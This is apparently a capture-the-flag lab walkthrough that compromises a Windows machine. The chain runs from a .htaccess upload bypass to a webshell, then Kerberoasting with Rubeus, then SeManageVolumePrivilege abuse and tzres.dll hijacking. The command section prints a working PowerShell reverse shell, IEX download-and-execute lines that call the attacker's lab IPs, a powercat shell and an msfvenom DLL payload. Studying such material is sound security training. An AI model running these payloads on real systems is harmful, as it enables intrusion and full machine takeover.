Leveraged SeManageVolumePrivilege and DLL hijacking permission to escalate privileges.
Summary
The machine had a file upload functionality but implemented protections that denied uploading files with a .php extension.
The web application allowed the upload of .htaccess files, enabling a bypass of these defenses.
Uploading a webshell provided access to the svc_apache user.
Another user, svc_mssql, was identified on the machine, and an SPN was present for this user.
This situation was ideal for attempting Kerberoasting.
Rubeus.exe was used to perform Kerberoasting, successfully retrieving the password for the svc_mssql user.
The svc_mssql user had the SeManageVolumePrivilege, which was exploited using seManageVolumnExploit.exe to gain administrative write privileges on the entire machine.
DLL injection was used to inject a malicious DLL, resulting in a reverse shell as the NT user.
A web app on port 80 had upload functionality and implemented all possible protections to prevent Arbitrary file upload issues. However, it also supported the upload of a .htaccess file.
Bypassing PHP protection by uploading .htaccess file
If a user has privileges, we can use the following technique to get elevated shell.
Background
The general idea is that the attacker can leverage this particular privilege with the exploitation to get full control over "C:\", and then it can craft a ".dll" file and place it in somewhere "C:\Windows\System32\" to trigger the payload as root.
Technique
On executing the exploit, we can write anything in the C:\ directory. A simple Priv escalation would be to add a malicious DLL that would give us an elevated reverse shell on execution.
Download this exploit and transfer it to victim machine
Now, we need to create a malicious DLL that would give us a reverse shell
Now, place this DLL in such a place where executing it would be simple, for instance on running systeminfo command we should be able to get a reverse shell.
we can move the DLL to C:\\windows\\system32\\wbem directory
dllref is a list of DLLs that can be used for privilege escalation. This list not only includes various options but also the trigger points for each DLL. In our case, other DLLs can be used instead of tzres.dll to achieve the reverse shell trigger.
## 1. Executing the following command in our webshell
# ps1 reverse shell code
$client = New-Object System.Net.Sockets.TCPClient("192.168.45.209",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
# spawning server
python3 -m http.server 8080
## 2. Executing the following command in our webshell
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.209:8000/exp.ps1')"
# URL encode the above command to send it through thr webshell
powershell%20-c%20%22IEX%28New-Object%20System.Net.WebClient%29.DownloadString%28%27http%3A%2F%2F192.168.45.209%3A8000%2Fexp.ps1%27%29%22%0A
# In parallel, run netcat to catch the reverse shell
nc -nlvp 4444
# Let's Execute
curl http://192.168.161.187/uploads/ex.php.evil?cmd=powershell%20-c%20%22IEX%28New-Object%20System.Net.WebClient%29.DownloadString%28%27http%3A%2F%2F192.168.45.231%3A8000%2Fexp.ps1%27%29%22%0A
net users
>
Administrator Guest krbtgt
svc_apache svc_mssql
# Using Rubeus.exe to perform Kerberoasting
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
# Using John to crack the hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
# Got the password of svc_mssql
trustno1
# running ps1 script of runAscs
>
Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "whoami"
# using powercat to get reverse shell
Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "Powershell IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.231:8000/powercat.ps1');powercat -c 192.168.45.231 -p 5555 -e cmd"
# svc_mssql had the following privileges
# whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ================================ ========
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
https://github.com/CsEnox/SeManageVolumeExploit
# Transfer and execute the exploit to window machine
.\SeManageVolumeExploit.exe
# on executingm, we should be able to write anything in C:\windows\system32\*
icacls.exe C:\Windows\System32\
# using msfvenom
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.49.231 LPORT=6666 -f dll -o tzres.dll
# start nc listner on 6666
nc -nlvp 6666
copy tzres.dll C:\Windows\System32\wbem\
# just exeucte the systeminfo command, you will get a reverse shell as Admin